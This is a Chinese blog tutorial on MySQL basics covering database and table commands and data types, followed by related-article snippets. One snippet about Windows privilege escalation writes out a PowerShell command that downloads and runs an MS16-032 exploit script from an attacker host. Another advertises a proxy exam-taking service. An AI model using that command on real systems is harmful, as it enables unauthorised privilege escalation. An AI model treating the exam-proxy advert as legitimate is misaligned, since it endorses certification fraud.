【MySQL】MySQL数据库基础|数据库的操作|常用数据类型|表的操作

目录

一、数据库的操作(针对“数据集合”的操作)

1.显示当前的数据库

2.创建数据库

3.使用数据库

4.删除数据库

二、常用数据类型

1.数值类型

2.字符串类型

3.日期类型

三、表的操作

1.列出当前数据库的表

2.创建表

3.查看表结构

4.删除表


💡推荐

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。【点击跳转到网站】


 MySQL组织形式:数据库->数据表->行->列(此处的数据库表示一个抽象的概念,含义就是一个”“数据集合“)

谈到"数据库”这个词要明确,指的是"学科",还是一类"软件",还是某个数据库软件的"服务器程序",还是一个"数据集合”,要结合上下文来理解

💡一个MySQL服务器上,可以有多个数据库

每个数据库里,可以有多个数据表

每个数据表里,可以有很多行

每个行中可以有很多列


一、数据库的操作(针对“数据集合”的操作)

1.显示当前的数据库

show databases;

注意:

(1)现有数据库不止一个,所以要加 s 

(2)最后要带上; 而且必须是英文的分号

(3)输入的单词之间,要带有空格,多个空格是可以的,但是至少有一个

(4)输入完毕后,按 回车 执行这个命令

(5)如果输入命令错误的时候,mysql会给出错误的提示,告诉我们错误出现的位置

(6)SQL是大小写不敏感的,写成大写或者小写都行


2.创建数据库

create database 数据库名 (charset 字符集名);

注意:

(1)创建一个数据库,所以不是复数

(2)这里的数据库名不能和“关键字"(eg:create)重复,最好是带有特定涵义的单词,如果想用关键字作为数据库名,可使用反引号( ` )把这个名字引起来

(3)在创建数据库的时候,可以指定字符集,charset 字符集名即可;后续创建数据库的时候,建议大家使用utf8(mb4)作为字符集,否则mysql 5.7默认字符集是拉丁文,不支持中文,(mysql 8默认的就是utf8),mysql 的 utf8 其实不是 完全体,比标准的 utf8 少了一些东西 (主要是少了 emoji 表情),为了解决上述问题,mysql 提供utf8mb4 这样的字符集(mysql 独有, 就是完整的 utf8)

(4)校验规则:可以认为是字符串比较的时候,对应的规则般不需要修改,就使用默认值即可

问:在计算机中一个汉字占几个字节?

答:和字符编码是密切相关的,ACSII码,计算机存储的是二进制数据,约定了某个数字表示某个字符,对于汉字来说,数目远远超过ASCII字符了,某个汉字和数字之间的对应关系,这样的表格不只有一个版本,每个版本的编码规则不同,当下主流的表示汉字的编码方式

GBK:使用2个字节表示1个汉字

UTF8:变长编码,对于汉字来说一般就是3个字节


3.使用数据库

use 数据库名;

后续进一步操作,都是需要先选中,再操作


4.删除数据库

drop database 数据库名;

注意:

删除数据库操作,非常的危险,数据库删除以后,内部看不到对应的数据库,里边的表和数据全部被删除

事实上,公司也会防着大家,防止出现上述删库的情况造成太大的影响:

(1)控制好权限:mysql 自身支持丰富的权限配置功能,根据你的账号,你能够进行哪些操作都是有明确限制的

(2)备份:重要的数据多备份几份,一旦删除了,可以从备份的数据中恢复回来,但是!即使你有备份,可能你备份的数据不是最新的(上周备份的)一周时间内可能已经产生了很多新的数据了,虽然数据没有完全丢,但是也丢了一部分,此时可能造成严重的后果


二、常用数据类型

前面谈到的是”数据库“操作,表操作才是更核心的,先说一下mysql中的数据类型,数据库中的表,每一列都是有“数据类型”的

1.数值类型

数据类型大小说明对应java类型
BIT[ (M) ]M指定位数,默认为1二进制数,M范围从1到64,存储数值范围从0到2^M-1常用Boolean对应BIT,此时默认是1位,即只能存0和1
TINYINT1字节Byte
SMALLINT2字节Short
💡INT4字节Integer
BIGINT8字节Long
FLOAT(M, D)4字节单精度,M指定长度,D指定小数位数。会发生精度丢失Float
💡DOUBLE(M, D)8字节Double
DECIMAL(M, D)M/D最大值+2双精度,M指定长度,D表示小数点位数。精确数值BigDecimal
NUMERIC(M, D)M/D最大值+2和DECIMAL一样BigDecimal

(1)float(3,1):表示小数的长度是3,小数点后保留1位

double和float这种表示方式表示的数据存在精度误差,所以使用double/float的时候,不适合用来表示对于“精度要求”很高的场景

(2 ) declmal和numerlc这俩类型就能解决上述问题,他们可以精确的存储小数,但是这样需要消耗更多的空间,计算也需要更多的时间


2.字符串类型

数据类型大小说明对应java类型
💡VARCHAR (SIZE)0-65,535字节可变长度字符串(参数size表示能存储的最大长度,单位是字符)String
TEXT0-65,535字节长文本数据(这里的长度是自适应的,比较依赖自动扩容,为了明确数据存储的上限需谨慎使用)String
MEDIUMTEXT0-16 777 215字节中等长度文本数据String
BLOB0-65,535字节二进制形式的长文本数据byte[]

3.日期类型

数据类型大小说明对应java类型
💡DATETIME8 字 节范围从1000到9999年,不会进行时区的检索及转换。java.util.Date、java.sql.Timestamp
TIMESTAMP4 字 节范围从1970到2038年,自动检索当前时区并进行转换。java.util.Date、java.sql.Timestamp

💡数据类型小结:重点掌握这4个,其他的简单了解即可

(1)表示整数:int

(2)表示小数:double ( float也用的很少)

(3)表示字符串:varchar

(4)表示时间日期:datetime


三、表的操作

在进行后续表操作之前,一定要先use选中数据库

1.列出当前数据库的表

show tables;

如果没有表在这个数据库里,看到的就是空的集合不同的数据库,里面包含的表是不一样的,show tables 只能看到当前的数据库的表


2.创建表

create table 表名(列名 类型,列名 类型,列名 类型...);

 注意:

(1)设定表名/列名的时候, 也是不能和 SQL 的关键字重复的,如果确实需要重复, 可以使用( ` ) 引起来.

(2)同一个数据库中,表名不能重复(不同数据库就可以了)

(3)可以使用comment增加字段说明(类似注释),更推荐用 # 作为注释,或者-- 作为注释(两个减号加上一个空格);注释写了之后不会存储到数据库中,仅仅起到解释说明的作用

eg:

create table stu_test (id int,name varchar(20) comment '姓名',password varchar(50) comment '密码',age int,sex varchar(1),birthday timestamp,amout decimal(13,2),resume text
);

3.查看表结构

desc 表名;

desc =>describe(描述) 

 表中有哪些列,都叫啥,都是哪些类型,以及有啥其他的注意的东西


4.删除表

drop table 表名;

注意:

(1)不仅仅是删除表的本身,也删除了表中的数据

(2)删除表,是一个比删除数据库还危险的操作 .删库,是把所有的表都删了,好比被利器所伤,如果不是命中要害,很大概率可以抢救回来;删表,只是删除其中的某一个,好比被钝器所伤,可能不会立即爆发,等爆发的时候就来不及了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/28968.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

11.5.k8s中pod的调度-cordon,drain,delete

目录 一、概念 二、使用 1.cordon 停止调度 1.1.停止调度 1.2.解除恢复 2.drain 驱逐节点 2.1.驱逐节点 2.2.参数介绍 2.3.解除恢复 3.delete 删除节点 一、概念 cordon节点,drain驱逐节点,delete 节点,在对k8s集群节点执行维护&am…

CesiumJS【Basic】- #006 浏览器控制台查看位置角度

文章目录 浏览器控制台查看位置角度1 目标 浏览器控制台查看位置角度 1 目标 浏览器控制台查看位置角度

KVB:怎么样选择最优交易周期?

摘要 在金融交易中,周期的选择是影响交易成败的重要因素之一。不同的交易周期对应不同的市场环境和交易策略,选择合适的周期可以提高交易的成功率。本文将详细探讨交易中如何选择最优周期,包括短周期、中周期和长周期的特点及适用情况&#…

软考系统规划与管理师伴读脑图第9章

周末发系统规划与管理师的试听视频,占用了发送次数,所以上周的脑图推迟了今天发出。 不知不觉已经发到了第9章,感叹这就是坚持积累下来的力量,其实考试也是一样的道理。

Git--Part3--远程操作 配置 标签管理

theme: nico 远程仓库 Git 是分布式版本控制系统,同⼀个 Git 仓库,可以分布到不同的机器上。怎么分布呢? 最早,肯定只有⼀台机器有⼀个原始版本库,此后,别的机器可以 “克隆” 这个原始版本库&#xff0…

AI导航网

文章目录 1、[AI导航网](https://www.ainav.cn/) 1、AI导航网 https://www.ainav.cn/

苍穹外卖笔记-18-修改密码、bug记录

文章目录 1 修改密码1.1 需求分析和设计1.2 代码实现1.2.1 admin/EmployeeController1.2.2 EmployeeService1.2.3 EmployeeServiceImpl 1.3 功能测试 2 bug记录 1 修改密码 完结的时候发现还有一个接口未实现。这里补充 1.1 需求分析和设计 产品原型: 业务规则&am…

CMake从安装到精通

目录 引言 1. CMake的安装 2. CMake的原理 3. CMake入门 3.1 CMakeLists.txt与注释 3.2 版本指定与工程描述 3.3 生成可执行程序 3.4 定义变量与指定输出路径 3.5 指定C标准 3.6 搜索文件 3.7 包含头文件 4. CMake进阶 4.1 生成动静态库 4.2 链接动静态库 4.…

CTFshow之RCE代码命令远程执行第49关详细讲解。可私信!

棺材里伸手,死要钱! --古吉拉特邦 莫迪大仙 引言:由于有些题目实在是让人抓挠,我看完题解后难以接受知识机械的执行获取flag,所以我想着尽可能用我的语言去进行解释! 由于是验证猜想实验,所以…

代发考生战报:HCIP H12-725安全变题了

代发考生战报:HCIP H12-725安全变题了,幸好当天找客服办理的包过服务,听同考场的考生说,考试全是新题,只有1-2个是题库上的题,自己考的都考挂了,帮我答题的老师很厉害,很赞&#xff…

GenICam标准(二)

系列文章目录 GenICam标准(一) GenICam标准(二) GenICam标准(三) GenICam标准(四) GenICam标准(五) GenICam标准(六) 文章目录 系列文…

RAG与Langchain简介

RAG与Langchain简介 什么是RAGRAG解决的问题RAG工作流程RAG调优策略LangChain简介 什么是RAG 检索增强生成(Retrieval-Augmented Generation),主要是通过从外部给大模型补充一些知识,相当于给模型外挂了一个知识库,让…

单片机(STM32)与上位机传输浮点数

目录 单片机(STM32)与上位机传输数据的方法1. 传输整形数据2. 传输浮点数据3. 如何打包与解包 单片机(STM32)与上位机传输数据的方法 在进行单片机程序的开发时,常常需要与其他设备进行通信。一种情况是与其他电路板通信,比如STM32主机与STM32从机通信&…

胡说八道(24.6.9)——离散时间系统及simulink仿真

上回说道拉普拉斯变换的定义、性质以及在电路分析中的应用。今天先来谈谈simulink仿真,可为是让我非常的震惊,今天做了三种模型的应用。第一个是simulink中有限状态机的应用,用来解决一些复杂的逻辑问题,实现状态之间的转换。第一…

Pytorch深度解析:Transformer嵌入层源码逐行解读

前言 本部分博客需要先阅读博客: 《Transformer实现以及Pytorch源码解读(一)-数据输入篇》 作为知识储备。 Embedding使用方式 如下面的代码中所示,embedding一般是先实例化nn.Embedding(vocab_size, embedding_dim)。实例化的…

双绞线(网线)的制作与测试

实验目的 1、熟悉常用双绞线(网线)及其制作工具的使用; 2、掌握非屏蔽双绞线的直通线、交叉线的制作及连接方法; 3、掌握双绞线连通性的测试。 设备要求:RJ45压线钳,RJ45水晶头,UTP线缆&…

小白 | windows提权

1.CVE-2016-0099 (MS16-032) 这是一个Windows内核特权提升漏洞&#xff0c;利用该漏洞可以获得系统权限。 # 使用公开的POC进行利用&#xff0c;如 powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString(http://<attacker_ip>/Invoke-MS16-032.ps1)…

LSTM模型预测时间序列

长短期记忆模型(Long Short-Term Memory, LSTM)&#xff0c;是一种特殊的循环神经网络&#xff0c;能够学习长期依赖性。长短期记忆模型在各种各样的问题上表现非常出色&#xff0c;现在被广泛使用&#xff0c;例如&#xff0c;文本生成、机器翻译、语音识别、时序数据预测、生…

经典老款双运放NE5532

1 产品特点 等效输入噪声电压&#xff1a; 5nV H z \sqrt[]{ Hz} Hz ​&#xff08;典型值&#xff0c;1 kHz&#xff09; 单位增益带宽&#xff1a;10 MHz &#xff08;典型值&#xff09; 共模抑制比&#xff1a;100 dB &#xff08;典型值&#xff09; 高直流电压增益&…

【Python高级编程】Pickle实现AI算法训练的权重数据的保存

任务描述 代码实现 import pickle import time import os import numpy as np# 模拟耗时的权重计算过程 def calculate_weights():print("开始计算权重...")time.sleep(5) # 模拟耗时操作&#xff0c;暂停5秒以模拟计算过程weights np.random.rand(10, 10) # 随机…